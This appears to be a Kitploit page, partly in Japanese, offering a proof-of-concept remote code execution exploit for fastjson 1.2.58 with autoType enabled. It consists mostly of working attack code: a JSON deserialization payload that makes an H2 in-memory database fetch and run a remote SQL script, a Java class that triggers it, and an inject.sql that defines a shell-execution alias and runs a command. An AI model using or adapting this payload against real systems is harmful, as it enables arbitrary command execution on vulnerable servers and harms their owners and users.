fastjson-1.2.58-rce — fastjson-1.2.58-rceとh2データベース | Kitploit

fastjson-1.2.58-rce

必要なもの:

fastjson autoType is enabled
h2 database and some jar
.
├── fastjson-1.2.58.jar
├── h2-1.4.199.jar
├── jackson-annotations-2.9.8.jar
├── jackson-core-2.9.8.jar
├── jackson-databind-2.9.8.jar
└── logback-core-1.3.0-alpha4.jar

fastjson-1.2.58.jar のダウンロード

http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.58/fastjson-1.2.58.jar

exp.java

{"@type":"ch.qos.logback.core.db.DriverManagerConnectionSource", "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class exp {
    public static void main(String[] args){
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\", \"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}";
        JSONObject json = JSON.parseObject(payload);
        json.toJSONString();
    }
}

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc')

fastjson-1.2.58-rce

人気

inject.sql

参考リンク